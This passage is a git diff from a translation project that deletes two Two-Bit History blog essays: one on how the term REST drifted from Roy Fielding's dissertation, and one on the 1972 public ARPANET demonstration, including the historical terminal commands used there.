-[3]: https://twobithistory.org/images/diff-analyzer-viz.png -[4]: https://twobithistory.org/images/analyzer-diagram.png -[5]: tmp.MoynZsbJ7w#fn:1 -[6]: tmp.MoynZsbJ7w#fn:2 -[7]: https://twitter.com/TwoBitHistory -[8]: https://twobithistory.org/feed.xml -[9]: https://twitter.com/TwoBitHistory/status/1224014531778826240?ref_src=twsrc%5Etfw -[10]: tmp.MoynZsbJ7w#fnref:1 -[11]: tmp.MoynZsbJ7w#fnref:2 diff --git a/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md b/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md deleted file mode 100644 index 0272e2eb43..0000000000 --- a/sources/talk/20200628 Roy Fielding-s Misappropriated REST Dissertation.md +++ /dev/null @@ -1,125 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Roy Fielding's Misappropriated REST Dissertation) -[#]: via: (https://twobithistory.org/2020/06/28/rest.html) -[#]: author: (Two-Bit History https://twobithistory.org) - -Roy Fielding's Misappropriated REST Dissertation -====== - -RESTful APIs are everywhere. This is funny, because how many people really know what “RESTful” is supposed to mean? - -I think most of us can empathize with [this Hacker News poster][1]: - -> I’ve read several articles about REST, even a bit of the original paper. But I still have quite a vague idea about what it is. I’m beginning to think that nobody knows, that it’s simply a very poorly defined concept. - -I had planned to write a blog post exploring how REST came to be such a dominant paradigm for communication across the internet. I started my research by reading [Roy Fielding’s 2000 dissertation][2], which introduced REST to the world. After reading Fielding’s dissertation, I realized that the much more interesting story here is how Fielding’s ideas came to be so widely misunderstood. - -Many more people know that Fielding’s dissertation is where REST came from than have read the dissertation (fair enough), so misconceptions about what the dissertation actually contains are pervasive. - -The biggest of these misconceptions is that the dissertation directly addresses the problem of building APIs. I had always assumed, as I imagine many people do, that REST was intended from the get-go as an architectural model for web APIs built on top of HTTP. I thought perhaps that there had been some chaotic experimental period where people were building APIs on top of HTTP all wrong, and then Fielding came along and presented REST as the sane way to do things. But the timeline doesn’t make sense here: APIs for web services, in the sense that we know them today, weren’t a thing until a few years after Fielding published his dissertation. - -Fielding’s dissertation (titled “Architectural Styles and the Design of Network-based Software Architectures”) is not about how to build APIs on top of HTTP but rather about HTTP itself. Fielding contributed to the HTTP/1.0 specification and co-authored the HTTP/1.1 specification, which was published in 1999. He was interested in the architectural lessons that could be drawn from the design of the HTTP protocol; his dissertation presents REST as a distillation of the architectural principles that guided the standardization process for HTTP/1.1. Fielding used these principles to make decisions about which proposals to incorporate into HTTP/1.1. For example, he rejected a proposal to batch requests using new `MGET` and `MHEAD` methods because he felt the proposal violated the constraints prescribed by REST, especially the constraint that messages in a REST system should be easy to proxy and cache.[1][3] So HTTP/1.1 was instead designed around persistent connections over which multiple HTTP requests can be sent. (Fielding also felt that cookies are not RESTful because they add state to what should be a stateless system, but their usage was already entrenched.[2][4]) REST, for Fielding, was not a guide to building HTTP-based systems but a guide to extending HTTP. - -This isn’t to say that Fielding doesn’t think REST could be used to build other systems. It’s just that he assumes these other systems will also be “distributed hypermedia systems.” This is another misconception people have about REST: that it is a general architecture you can use for any kind of networked application. But you could sum up the part of the dissertation where Fielding introduces REST as, essentially, “Listen, we just designed HTTP, so if you also find yourself designing a _distributed hypermedia system_ you should use this cool architecture we worked out called REST to make things easier.” It’s not obvious why Fielding thinks anyone would ever attempt to build such a thing given that the web already exists; perhaps in 2000 it seemed like there was room for more than one distributed hypermedia system in the world. Anyway, Fielding makes clear that REST is intended as a solution for the scalability and consistency problems that arise when trying to connect hypermedia across the internet, _not_ as an architectural model for distributed applications in general. - -We remember Fielding’s dissertation now as the dissertation that introduced REST, but really the dissertation is about how much one-size-fits-all software architectures suck, and how you can better pick a software architecture appropriate for your needs. Only a single chapter of the dissertation is devoted to REST itself; much of the word count is spent on a taxonomy of alternative architectural styles[3][5] that one could use for networked applications. Among these is the Pipe-and-Filter (PF) style, inspired by Unix pipes, along with various refinements of the Client-Server style (CS), such as Layered-Client-Server (LCS), Client-Cache-Stateless-Server (C$SS), and Layered-Client-Cache-Stateless-Server (LC$SS). The acronyms get unwieldy but Fielding’s point is that you can mix and match constraints imposed by existing styles to derive new styles. REST gets derived this way and could instead have been called—but for obvious reasons was not—Uniform-Layered-Code-on-Demand-Client-Cache-Stateless-Server (ULCODC$SS). Fielding establishes this taxonomy to emphasize that different constraints are appropriate for different applications and that this last group of constraints were the ones he felt worked best for HTTP. - -This is the deep, deep irony of REST’s ubiquity today. REST gets blindly used for all sorts of networked applications now, but Fielding originally offered REST as an illustration of how to derive a software architecture tailored to an individual application’s particular needs. - -I struggle to understand how this happened, because Fielding is so explicit about the pitfalls of not letting form follow function. He warns, almost at the very beginning of the dissertation, that “design-by-buzzword is a common occurrence” brought on by a failure to properly appreciate software architecture.[4][6] He picks up this theme again several pages later: - -> Some architectural styles are often portrayed as “silver bullet” solutions for all forms of software. However, a good designer should select a style that matches the needs of a particular problem being solved.[5][7] - -REST itself is an especially poor “silver bullet” solution, because, as Fielding later points out, it incorporates trade-offs that may not be appropriate unless you are building a distributed hypermedia application: - -> REST is designed to be efficient for large-grain hypermedia data transfer, optimizing for the common case of the Web, but resulting in an interface that is not optimal for other forms of architectural interaction.[6][8] - -Fielding came up with REST because the web posed a thorny problem of “anarchic scalability,” by which Fielding means the need to connect documents in a performant way across organizational and national boundaries. The constraints that REST imposes were carefully chosen to solve this anarchic scalability problem. Web service APIs that are _public-facing_ have to deal with a similar problem, so one can see why REST is relevant there. Yet today it would not be at all surprising to find that an engineering team has built a backend using REST even though the backend only talks to clients that the engineering team has full control over. We have all become the architect in [this Monty Python sketch][9], who designs an apartment building in the style of a slaughterhouse because slaughterhouses are the only thing he has experience building. (Fielding uses a line from this sketch as an epigraph for his dissertation: “Excuse me… did you say ‘knives’?”) - -So, given that Fielding’s dissertation was all about avoiding silver bullet software architectures, how did REST become a de facto standard for web services of every kind? - -My theory is that, in the mid-2000s, the people who were sick of SOAP and wanted to do something else needed their own four-letter acronym. - -I’m only half-joking here. SOAP, or the Simple Object Access Protocol, is a verbose and complicated protocol that you cannot use without first understanding a bunch of interrelated XML specifications. Early web services offered APIs based on SOAP, but, as more and more APIs started being offered in the mid-2000s, software developers burned by SOAP’s complexity migrated away en masse. - -Among this crowd, SOAP inspired contempt. Ruby-on-Rails dropped SOAP support in 2007, leading to this emblematic comment from Rails creator David Heinemeier Hansson: “We feel that SOAP is overly complicated. It’s been taken over by the enterprise people, and when that happens, usually nothing good comes of it.”[7][10] The “enterprise people” wanted everything to be formally specified, but the get-shit-done crowd saw that as a waste of time. - -If the get-shit-done crowd wasn’t going to use SOAP, they still needed some standard way of doing things. Since everyone was using HTTP, and since everyone would keep using HTTP at least as a transport layer because of all the proxying and caching support, the simplest possible thing to do was just rely on HTTP’s existing semantics. So that’s what they did. They could have called their approach Fuck It, Overload HTTP (FIOH), and that would have been an accurate name, as anyone who has ever tried to decide what HTTP status code to return for a business logic error can attest. But that would have seemed recklessly blasé next to all the formal specification work that went into SOAP. - -Luckily, there was this dissertation out there, written by a co-author of the HTTP/1.1 specification, that had something vaguely to do with extending HTTP and could offer FIOH a veneer of academic respectability. So REST was appropriated to give cover for what was really just FIOH. - -I’m not saying that this is exactly how things happened, or that there was an actual conspiracy among irreverent startup types to misappropriate REST, but this story helps me understand how REST became a model for web service APIs when Fielding’s dissertation isn’t about web service APIs at all. Adopting REST’s constraints makes some sense, especially for public-facing APIs that do cross organizational boundaries and thus benefit from REST’s “uniform interface.” That link must have been the kernel of why REST first got mentioned in connection with building APIs on the web. But imagining a separate approach called “FIOH,” that borrowed the “REST” name partly just for marketing reasons, helps me account for the many disparities between what today we know as RESTful APIs and the REST architectural style that Fielding originally described. - -REST purists often complain, for example, that so-called REST APIs aren’t actually REST APIs because they do not use Hypermedia as The Engine of Application State (HATEOAS). Fielding himself [has made this criticism][11]. According to him, a real REST API is supposed to allow you to navigate all its endpoints from a base endpoint by following links. If you think that people are actually out there trying to build REST APIs, then this is a glaring omission—HATEOAS really is fundamental to Fielding’s original conception of REST, especially considering that the “state transfer” in “Representational State Transfer” refers to navigating a state machine using hyperlinks between resources (and not, as many people seem to believe, to transferring resource state over the wire).[8][12] But if you imagine that everyone is just building FIOH APIs and advertising them, with a nudge and a wink, as REST APIs, or slightly more honestly as “RESTful” APIs, then of course HATEOAS is unimportant. - -Similarly, you might be surprised to know that there is nothing in Fielding’s dissertation about which HTTP verb should map to which CRUD action, even though software developers like to argue endlessly about whether using PUT or PATCH to update a resource is more RESTful. Having a standard mapping of HTTP verbs to CRUD actions is a useful thing, but this standard mapping is part of FIOH and not part of REST. - -This is why, rather than saying that nobody understands REST, we should just think of the term “REST” as having been misappropriated. The modern notion of a REST API has historical links to Fielding’s REST architecture, but really the two things are separate. The historical link is good to keep in mind as a guide for when to build a RESTful API. Does your API cross organizational and national boundaries the same way that HTTP needs to? Then building a RESTful API with a predictable, uniform interface might be the right approach. If not, it’s good to remember that Fielding favored having form follow function. Maybe something like GraphQL or even just JSON-RPC would be a better fit for what you are trying to accomplish. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][13] on Twitter or subscribe to the [RSS feed][14] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> New post is up! I wrote about how to solve differential equations using an analog computer from the '30s mostly made out of gears. As a bonus there's even some stuff in here about how to aim very large artillery pieces. -> -> — TwoBitHistory (@TwoBitHistory) [April 6, 2020][15] - - 1. Roy Fielding. “Architectural Styles and the Design of Network-based Software Architectures,” 128. 2000. University of California, Irvine, PhD Dissertation, accessed June 28, 2020, . [↩︎][16] - - 2. Fielding, 130. [↩︎][17] - - 3. Fielding distinguishes between software architectures and software architecture “styles.” REST is an architectural style that has an instantiation in the architecture of HTTP. [↩︎][18] - - 4. Fielding, 2. [↩︎][19] - - 5. Fielding, 15. [↩︎][20] - - 6. Fielding, 82. [↩︎][21] - - 7. Paul Krill. “Ruby on Rails 2.0 released for Web Apps,” InfoWorld. Dec 7, 2007, accessed June 28, 2020,  [↩︎][22] - - 8. Fielding, 109. [↩︎][23] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2020/06/28/rest.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://news.ycombinator.com/item?id=7201871 -[2]: https://www.ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation_2up.pdf -[3]: tmp.Ewi4FpMIg6#fn:1 -[4]: tmp.Ewi4FpMIg6#fn:2 -[5]: tmp.Ewi4FpMIg6#fn:3 -[6]: tmp.Ewi4FpMIg6#fn:4 -[7]: tmp.Ewi4FpMIg6#fn:5 -[8]: tmp.Ewi4FpMIg6#fn:6 -[9]: https://www.youtube.com/watch?v=vNoPJqm3DAY -[10]: tmp.Ewi4FpMIg6#fn:7 -[11]: https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven -[12]: tmp.Ewi4FpMIg6#fn:8 -[13]: https://twitter.com/TwoBitHistory -[14]: https://twobithistory.org/feed.xml -[15]: https://twitter.com/TwoBitHistory/status/1247187881946275841?ref_src=twsrc%5Etfw -[16]: tmp.Ewi4FpMIg6#fnref:1 -[17]: tmp.Ewi4FpMIg6#fnref:2 -[18]: tmp.Ewi4FpMIg6#fnref:3 -[19]: tmp.Ewi4FpMIg6#fnref:4 -[20]: tmp.Ewi4FpMIg6#fnref:5 -[21]: tmp.Ewi4FpMIg6#fnref:6 -[22]: tmp.Ewi4FpMIg6#fnref:7 -[23]: tmp.Ewi4FpMIg6#fnref:8 diff --git a/sources/talk/20210207 The Real Novelty of the ARPANET.md b/sources/talk/20210207 The Real Novelty of the ARPANET.md deleted file mode 100644 index 5e60919871..0000000000 --- a/sources/talk/20210207 The Real Novelty of the ARPANET.md +++ /dev/null @@ -1,263 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Real Novelty of the ARPANET) -[#]: via: (https://twobithistory.org/2021/02/07/arpanet.html) -[#]: author: (Two-Bit History https://twobithistory.org) - -The Real Novelty of the ARPANET -====== - -If you run an image search for the word “ARPANET,” you will find lots of maps showing how the [government research network][1] expanded steadily across the country throughout the late ’60s and early ’70s. I’m guessing that most people reading or hearing about the ARPANET for the first time encounter one of these maps. - -Obviously, the maps are interesting—it’s hard to believe that there were once so few networked computers that their locations could all be conveyed with what is really pretty lo-fi cartography. (We’re talking 1960s overhead projector diagrams here. You know the vibe.) But the problem with the maps, drawn as they are with bold lines stretching across the continent, is that they reinforce the idea that the ARPANET’s paramount achievement was connecting computers across the vast distances of the United States for the first time. - -Today, the internet is a lifeline that keeps us tethered to each other even as an airborne virus has us all locked up indoors. So it’s easy to imagine that, if the ARPANET was the first draft of the internet, then surely the world that existed before it was entirely disconnected, since that’s where we’d be without the internet today, right? The ARPANET must have been a big deal because it connected people via computers when that hadn’t before been possible. - -That view doesn’t get the history quite right. It also undersells what made the ARPANET such a breakthrough. - -### The Debut - -The Washington Hilton stands near the top of a small rise about a mile and a half northeast of the National Mall. Its two white-painted modern facades sweep out in broad semicircles like the wings of a bird. The New York Times, reporting on the hotel’s completion in 1965, remarked that the building looks “like a sea gull perched on a hilltop nest.”[1][2] - -The hotel hides its most famous feature below ground. Underneath the driveway roundabout is an enormous ovoid event space known as the International Ballroom, which was for many years the largest pillar-less ballroom in DC. In 1967, the Doors played a concert there. In 1968, Jimi Hendrix also played a concert there. In 1972, a somewhat more sedate act took over the ballroom to put on the inaugural International Conference on Computing Communication, where a promising research project known as the ARPANET was demonstrated publicly for the first time. - -The 1972 ICCC, which took place from October 24th to 26th, was attended by about 800 people.[2][3] It brought together all of the leading researchers in the nascent field of computer networking. According to internet pioneer Bob Kahn, “if somebody had dropped a bomb on the Washington Hilton, it would have destroyed almost all of the networking community in the US at that point.”[3][4] - -Not all of the attendees were computer scientists, however. An advertisement for the conference claimed it would be “user-focused” and geared toward “lawyers, medical men, economists, and government men as well as engineers and communicators.”[4][5] Some of the conference’s sessions were highly technical, such as the session titled “Data Network Design Problems I” and its sequel session, “Data Network Design Problems II.” But most of the sessions were, as promised, focused on the potential social and economic impacts of computer networking. One session, eerily prescient today, sought to foster a discussion about how the legal system could act proactively “to safeguard the right of privacy in the computer data bank.”[5][6] - -The ARPANET demonstration was intended as a side attraction of sorts for the attendees. Between sessions, which were held either in the International Ballroom or elsewhere on the lower level of the hotel, attendees were free to wander into the Georgetown Ballroom (a smaller ballroom/conference room down the hall from the big one),[6][7] where there were 40 terminals from a variety of manufacturers set up to access the ARPANET.[7][8] These terminals were dumb terminals—they only handled input and output and could do no computation on their own. (In fact, in 1972, it’s likely that all of these terminals were hardcopy terminals, i.e. teletype machines.) The terminals were all hooked up to a computer known as a Terminal Interface Message Processor or TIP, which sat on a raised platform in the middle of the room. The TIP was a kind of archaic router specially designed to connect dumb terminals to the ARPANET. Using the terminals and the TIP, the ICCC attendees could experiment with logging on and accessing some of the computers at the 29 host sites then comprising the ARPANET.[8][9] - -To exhibit the network’s capabilities, researchers at the host sites across the country had collaborated to prepare 19 simple “scenarios” for users to experiment with. These scenarios were compiled into [a booklet][10] that was handed to conference attendees as they tentatively approached the maze of wiring and terminals.[9][11] The scenarios were meant to prove that the new technology worked but also that it was useful, because so far the ARPANET was “a highway system without cars,” and its Pentagon funders hoped that a public demonstration would excite more interest in the network.[10][12] - -The scenarios thus showed off a diverse selection of the software that could be accessed over the ARPANET: There were programming language interpreters, one for a Lisp-based language at MIT and another for a numerical computing environment called Speakeasy hosted at UCLA; there were games, including a chess program and an implementation of Conway’s Game of Life; and—perhaps most popular among the conference attendees—there were several AI chat programs, including the famous ELIZA chat program developed at MIT by Joseph Weizenbaum. - -The researchers who had prepared the scenarios were careful to list each command that users were expected to enter at their terminals. This was especially important because the sequence of commands used to connect to any given ARPANET host could vary depending on the host in question. To experiment with the AI chess program hosted on the MIT Artificial Intelligence Laboratory’s PDP-10 minicomputer, for instance, conference attendees were instructed to enter the following: - -_`[LF]`, `[SP]`, and `[CR]` below stand for the line feed, space, and carriage return keys respectively. I’ve explained each command after `//`, but this syntax was not used for the annotations in the original._ - -``` -@r [LF] // Reset the TIP -@e [SP] r [LF] // "Echo remote" setting, host echoes characters rather than TIP -@L [SP] 134 [LF] // Connect to host number 134 -:login [SP] iccXXX [CR] // Login to the MIT AI Lab's system, where "XXX" should be user's initials -:chess [CR] // Start chess program -``` - -If conference attendees were successfully able to enter those commands, their reward was the opportunity to play around with some of the most cutting-edge chess software available at the time, where the layout of the board was represented like this: - -``` -BR BN BB BQ BK BB BN BR -BP BP BP BP ** BP BP BP --- ** -- ** -- ** -- ** -** -- ** -- BP -- ** -- --- ** -- ** WP ** -- ** -** -- ** -- ** -- ** -- -WP WP WP WP -- WP WP WP -WR WN WB WQ WK WB WN WR -``` - -In contrast, to connect to UCLA’s IBM System/360 and run the Speakeasy numerical computing environment, conference attendees had to enter the following: - -``` -@r [LF] // Reset the TIP -@t [SP] o [SP] L [LF] // "Transmit on line feed" setting -@i [SP] L [LF] // "Insert line feed" setting, i.e. send line feed with each carriage return -@L [SP] 65 [LF] // Connect to host number 65 -tso // Connect to IBM Time-Sharing Option system -logon [SP] icX [CR] // Log in with username, where "X" should be a freely chosen digit -iccc [CR] // This is the password (so secure!) -speakez [CR] // Start Speakeasy -``` - -Successfully running that gauntlet gave attendees the power to multiply and transpose and do other operations on matrices as quickly as they could input them at their terminal: - -``` -:+! a=m*transpose(m);a [CR] -:+! eigenvals(a) [CR] -``` - -Many of the attendees were impressed by the demonstration, but not for the reasons that we, from our present-day vantage point, might assume. The key piece of context hard to keep in mind today is that, in 1972, being able to use a computer remotely, even from a different city, was not new. Teletype devices had been used to talk to distant computers for decades already. Almost a full five years before the ICCC, Bill Gates was in a Seattle high school using a teletype to run his first BASIC programs on a General Electric computer housed elsewhere in the city. Merely logging in to a host computer and running a few commands or playing a text-based game was routine. The software on display here was pretty neat, but the two scenarios I’ve told you about so far could ostensibly have been experienced without going over the ARPANET. - -Of course, something new was happening under the hood. The lawyers, policy-makers, and economists at the ICCC might have been enamored with the clever chess program and the chat bots, but the networking experts would have been more interested in two other scenarios that did a better job of demonstrating what the ARPANET project had achieved. - -The first of these scenarios involved a program called `NETWRK` running on MIT’s ITS operating system. The `NETWRK` command was the entrypoint for several subcommands that could report various aspects of the ARPANET’s operating status. The `SURVEY` subcommand reported which hosts on the network were functioning and available (they all fit on a single list), while the `SUMMARY.OF.SURVEY` subcommand aggregated the results of past `SURVEY` runs to report an “up percentage” for each host as well as how long, on average, it took for each host to respond to messages. The output of the `SUMMARY.OF.SURVEY` subcommand was a table that looked like this: - -``` ---HOST-- -#- -%-UP- -RESP- -UCLA-NMC 001 097% 00.80 -SRI-ARC 002 068% 01.23 -UCSB-75 003 059% 00.63 -... -``` - -The host number field, as you can see, has room for no more than three digits (ha!). Other `NETWRK` subcommands allowed users to look at summary of survey results over a longer historical period or to examine the log of survey results for a single host. - -The second of these scenarios featured a piece of software called the SRI-ARC Online System being developed at Stanford. This was a fancy piece of software with lots of functionality (it was the software system that Douglas Engelbart demoed in the “Mother of All Demos”), but one of the many things it could do was make use of what was essentially a file hosting service run on the host at UC Santa Barbara. From a terminal at the Washington Hilton, conference attendees could copy a file created at Stanford onto the host at UCSB simply by running a `copy` command and answering a few of the computer’s questions: - -_`[ESC]`, `[SP]`, and `[CR]` below stand for the escape, space, and carriage return keys respectively. The words in parentheses are prompts printed by the computer. The escape key is used to autocomplete the filename on the third line. The file being copied here is called `sample.txt;1`, where the trailing one indicates the file’s version number and `` indicates the directory. This was a convention for filenames used by the TENEX operating system._[11][13] - -``` -@copy -(TO/FROM UCSB) to -(FILE) sample [ESC] .TXT;1 [CR] -(CREATE/REPLACE) create -``` - -These two scenarios might not look all that different from the first two, but they were remarkable. They were remarkable because they made it clear that, on the ARPANET, humans could talk to computers but computers could also talk to _each other._ The `SURVEY` results collected at MIT weren’t collected by a human regularly logging in to each machine to check if it was up—they were collected by a program that knew how to talk to the other machines on the network. Likewise, the file transfer from Stanford to UCSB didn’t involve any humans sitting at terminals at either Stanford or UCSB—the user at a terminal in Washington DC was able to get the two computers to talk each other merely by invoking a piece of software. Even more, it didn’t matter which of the 40 terminals in the Ballroom you were sitting at, because you could view the MIT network monitoring statistics or store files at UCSB using any of the terminals with almost the same sequence of commands. - -This is what was totally new about the ARPANET. The ICCC demonstration didn’t just involve a human communicating with a distant computer. It wasn’t just a demonstration of remote I/O. It was a demonstration of software remotely communicating with other software, something nobody had seen before. - -To really appreciate why it was this aspect of the ARPANET project that was important and not the wires-across-the-country, physical connection thing that the host maps suggest (the wires were leased phone lines anyhow and were already there!), consider that, before the ARPANET project began in 1966, the ARPA offices in the Pentagon had a terminal room. Inside it were three terminals. Each connected to a different computer; one computer was at MIT, one was at UC Berkeley, and another was in Santa Monica.[12][14] It was convenient for the ARPA staff that they could use these three computers even from Washington DC. But what was inconvenient for them was that they had to buy and maintain terminals from three different manufacturers, remember three different login procedures, and familiarize themselves with three different computing environments in order to use the computers. The terminals might have been right next to each other, but they were merely extensions of the host computing systems on the other end of the wire and operated as differently as the computers did. Communicating with a distant computer was possible before the ARPANET; the problem was that the heterogeneity of computing systems limited how sophisticated the communication could be. - -### Come Together, Right Now - -So what I’m trying to drive home here is that there is an important distinction between statement A, “the ARPANET connected people in different locations via computers for the first time,” and statement B, “the ARPANET connected computer systems to each other for the first time.” That might seem like splitting hairs, but statement A elides some illuminating history in a way that statement B does not. - -To begin with, the historian Joy Lisi Rankin has shown that people were socializing in cyberspace well before the ARPANET came along. In _A People’s History of Computing in the United States_, she describes several different digital communities that existed across the country on time-sharing networks prior to or apart from the ARPANET. These time-sharing networks were not, technically speaking, computer networks, since they consisted of a single mainframe computer running computations in a basement somewhere for many dumb terminals, like some portly chthonic creature with tentacles sprawling across the country. But they nevertheless enabled most of the social behavior now connoted by the word “network” in a post-Facebook world. For example, on the Kiewit Network, which was an extension of the Dartmouth Time-Sharing System to colleges and high schools across the Northeast, high school students collaboratively maintained a “gossip file” that allowed them to keep track of the exciting goings-on at other schools, “creating social connections from Connecticut to Maine.”[13][15] Meanwhile, women at Mount Holyoke College corresponded with men at Dartmouth over the network, perhaps to arrange dates or keep in touch with boyfriends.[14][16] This was all happening in the 1960s. Rankin argues that by ignoring these early time-sharing networks we impoverish our understanding of how American digital culture developed over the last 50 years, leaving room for a “Silicon Valley mythology” that credits everything to the individual genius of a select few founding fathers. - -As for the ARPANET itself, if we recognize that the key challenge was connecting the computer _systems_ and not just the physical computers, then that might change what we choose to emphasize when we tell the story of the innovations that made the ARPANET possible. The ARPANET was the first ever packet-switched network, and lots of impressive engineering went into making that happen. I think it’s a mistake, though, to say that the ARPANET was a breakthrough because it was the first packet-switched network and then leave it at that. The ARPANET was meant to make it easier for computer scientists across the country to collaborate; that project was as much about figuring out how different operating systems and programs written in different languages would interface with each other than it was about figuring out how to efficiently ferry data back and forth between Massachusetts and California. So the ARPANET was the first packet-switched network, but it was also an amazing standards success story—something I find especially interesting given [how][17] [many][18] [times][19] I’ve written about failed standards on this blog. - -Inventing the protocols for the ARPANET was an afterthought even at the time, so naturally the job fell to a group made up largely of graduate students. This group, later known as the Network Working Group, met for the first time at UC Santa Barbara in August of 1968.[15][20] There were 12 people present at that first meeting, most of whom were representatives from the four universities that were to be the first host sites on the ARPANET when the equipment was ready.[16][21] Steve Crocker, then a graduate student at UCLA, attended; he told me over a Zoom call that it was all young guys at that first meeting, and that Elmer Shapiro, who chaired the meeting, was probably the oldest one there at around 38. ARPA had not put anyone in charge of figuring out how the computers would communicate once they were connected, but it was obvious that some coordination was necessary. As the group continued to meet, Crocker kept expecting some “legitimate adult” with more experience and authority to fly out from the East Coast to take over, but that never happened. The Network Working Group had ARPA’s tacit approval—all those meetings involved lots of long road trips, and ARPA money covered the travel expenses—so they were it.[17][22] - -The Network Working Group faced a huge challenge. Nobody had ever sat down to connect computer systems together in a general-purpose way; that flew against all of the assumptions that prevailed in computing in the late 1960s: - -> The typical mainframe of the period behaved as if it were the only computer in the universe. There was no obvious or easy way to engage two diverse machines in even the minimal communication needed to move bits back and forth. You could connect machines, but once connected, what would they say to each other? In those days a computer interacted with devices that were attached to it, like a monarch communicating with his subjects. Everything connected to the main computer performed a specific task, and each peripheral device was presumed to be ready at all times for a fetch-my-slippers type command…. Computers were strictly designed for this kind of interaction; they send instructions to subordinate card readers, terminals, and tape units, and they initiate all dialogues. But if another device in effect tapped the computer on the shoulder with a signal and said, “Hi, I’m a computer too,” the receiving machine would be stumped.[18][23] - -As a result, the Network Working Group’s progress was initially slow.[19][24] The group did not settle on an “official” specification for any protocol until June, 1970, nearly two years after the group’s first meeting.[20][25] - -But by the time the ARPANET was to be shown off at the 1972 ICCC, all the key protocols were in place. A scenario like the chess scenario exercised many of them. When a user ran the command `@e r`, short for `@echo remote`, that instructed the TIP to make use of a facility in the new TELNET virtual teletype protocol to inform the remote host that it should echo the user’s input. When a user then ran the command `@L 134`, short for `@login 134`, that caused the TIP to invoke the Initial Connection Protocol with host 134, which in turn would cause the remote host to allocate all the necessary resources for the connection and drop the user into a TELNET session. (The file transfer scenario I described may well have made use of the File Transfer Protocol, though that protocol was only ready shortly before the conference.[21][26]) All of these protocols were known as “level three” protocols, and below them were the host-to-host protocol at level two (which defined the basic format for the messages the hosts should expect from each other), and the host-to-IMP protocol at level one (which defined how hosts communicated with the routing equipment they were linked to). Incredibly, the protocols all worked. - -In my view, the Network Working Group was able to get everything together in time and just generally excel at its task because it adopted an open and informal approach to standardization, as exemplified by the famous Request for Comments (RFC) series of documents. These documents, originally circulated among the members of the Network Working Group by snail mail, were a way of keeping in touch between meetings and soliciting feedback to ideas. The “Request for Comments” framing was suggested by Steve Crocker, who authored the first RFC and supervised the RFC mailing list in the early years, in an attempt to emphasize the open-ended and collaborative nature of what the group was trying to do. That framing, and the availability of the documents themselves, made the protocol design process into a melting pot of contributions and riffs on other people’s contributions where the best ideas could emerge without anyone losing face. The RFC process was a smashing success and is still used to specify internet standards today, half a century later. - -It’s this legacy of the Network Working Group that I think we should highlight when we talk about ARPANET’s impact. Though today one of the most magical things about the internet is that it can connect us with people on the other side of the planet, it’s only slightly facetious to say that that technology has been with us since the 19th century. Physical distance was conquered well before the ARPANET by the telegraph. The kind of distance conquered by the ARPANET was instead the logical distance between the operating systems, character codes, programming languages, and organizational policies employed at each host site. Implementing the first packet-switched network was of course a major feat of engineering that should also be mentioned, but the problem of agreeing on standards to connect computers that had never been designed to play nice with each other was the harder of the two big problems involved in building the ARPANET—and its solution was the most miraculous part of the ARPANET story. - -In 1981, ARPA issued a “Completion Report” reviewing the first decade of the ARPANET’s history. In a section with the belabored title, “Technical Aspects of the Effort Which Were Successful and Aspects of the Effort Which Did Not Materialize as Originally Envisaged,” the authors wrote: - -> Possibly the most difficult task undertaken in the development of the ARPANET was the attempt—which proved successful—to make a number of independent host computer systems of varying manufacture, and varying operating systems within a single manufactured type, communicate with each other despite their diverse characteristics.[22][27] - -There you have it from no less a source than the federal government of the United States. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][28] on Twitter or subscribe to the [RSS feed][29] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> It's been too long, I know, but I finally got around to writing a new post. This one is about how REST APIs should really be known as FIOH APIs instead (Fuck It, Overload HTTP): -> -> — TwoBitHistory (@TwoBitHistory) [June 28, 2020][30] - - 1. “Hilton Hotel Opens in Capital Today.” _The New York Times_, 20 March 1965, . Accessed 7 Feb. 2021. [↩︎][31] - - 2. James Pelkey. _Entrepreneurial Capitalism and Innovation: A History of Computer Communications 1968-1988,_ Chapter 4, Section 12, 2007, . Accessed 7 Feb. 2021. [↩︎][32] - - 3. Katie Hafner and Matthew Lyon. _Where Wizards Stay Up Late: The Origins of the Internet_. New York, Simon & Schuster, 1996, p. 178. [↩︎][33] - - 4. “International Conference on Computer Communication.” _Computer_, vol. 5, no. 4, 1972, p. c2, . Accessed 7 Feb. 2021. [↩︎][34] - - 5. “Program for the International Conference on Computer Communication.” _The Papers of Clay T. Whitehead_, Box 42, . Accessed 7 Feb. 2021. [↩︎][35] - - 6. It’s actually not clear to me which room was used for the ARPANET demonstration. Lots of sources talk about a “ballroom,” but the Washington Hilton seems to consider the room with the name “Georgetown” more of a meeting room. So perhaps the demonstration was in the International Ballroom instead. But RFC 372 alludes to a booking of the “Georgetown Ballroom” for the demonstration. A floorplan of the Washington Hilton can be found [here][36]. [↩︎][37] - - 7. Hafner, p. 179. [↩︎][38] - - 8. ibid., p. 178. [↩︎][39] - - 9. Bob Metcalfe. “Scenarios for Using the ARPANET.” _Collections-Computer History Museum_, . Accessed 7 Feb. 2021. [↩︎][40] - - 10. Hafner, p. 176. [↩︎][41] - - 11. Robert H. Thomas. “Planning for ACCAT Remote Site Operations.” BBN Report No. 3677, October 1977, . Accessed 7 Feb. 2021. [↩︎][42] - - 12. Hafner, p. 12. [↩︎][43] - - 13. Joy Lisi Rankin. _A People’s History of Computing in the United States_. Cambridge, MA, Harvard University Press, 2018, p. 84. [↩︎][44] - - 14. Rankin, p. 93. [↩︎][45] - - 15. Steve Crocker. Personal interview. 17 Dec. 2020. [↩︎][46] - - 16. Crocker sent me the minutes for this meeting. The document lists everyone who attended. 